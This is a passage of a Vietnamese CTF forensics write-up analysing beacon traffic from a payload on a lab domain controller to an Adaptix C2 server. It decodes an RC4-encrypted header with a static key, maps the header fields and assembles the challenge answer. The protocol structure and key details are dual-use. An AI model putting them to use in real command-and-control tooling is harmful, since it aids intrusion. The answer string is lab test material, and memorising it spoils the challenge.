Sau khi service trên DC02 khởi chạy payload svc_bkup, một agent mới được kích hoạt và bắt đầu gửi các kết nối HTTP beacon về C2 Server 192.168.56.1:8818. Lọc các gói tin HTTP từ IP nguồn 192.168.56.11:

Kiểm tra gói tin HTTP đầu tiên phát hiện được là Packet #903 (POST /api/v1/status HTTP/1.1) chứa trường header X-Beacon-Id:

Tiến hành giải mã chuỗi Base64 này bằng khóa tĩnh EncryptionKey (4580221ac3fe51be1797524a048e552d):

  • CyberChef Recipe: From Base64 -> RC4 (Key format: HEX, Key: 4580221ac3fe51be1797524a048e552d, Input: Raw, Output: Hex).

Chuỗi Hex thu được sau khi giải mã:

1
2
3
4
be4c0149 ddc68fa7 00000004 00000000 00000000 00000000 04e401b5 f80d3013 
68000045 630a000f 02000a0f 00000010 289122cf1ec91c67eb89c30642adfea4
00000011 636f72652e64696f67656e65732e687462 00000004 44433032
00000006 53595354454d 00000008 7376635f626b7570

Phân tích cấu trúc header đã giải mã:

  • Byte 0–3 (0x00 - 0x03): be4c0149 (Magic header định danh Adaptix C2).
  • Byte 4–7 (0x04 - 0x07): Beacon ID mới gồm 4 bytes là ddc68fa7.
  • Byte 48–63 (0x30 - 0x3F): Khóa phiên làm việc mới SessionKey gồm 16 bytes là 289122cf1ec91c67eb89c30642adfea4.
  • (Các trường metadata tiếp theo ghi nhận: domain core.diogenes.htb, computer name DC02, username SYSTEM, process svc_bkup).

Ghép nối hai giá trị theo định dạng BeaconID:SessionKey:

ddc68fa7:289122cf1ec91c67eb89c30642adfea4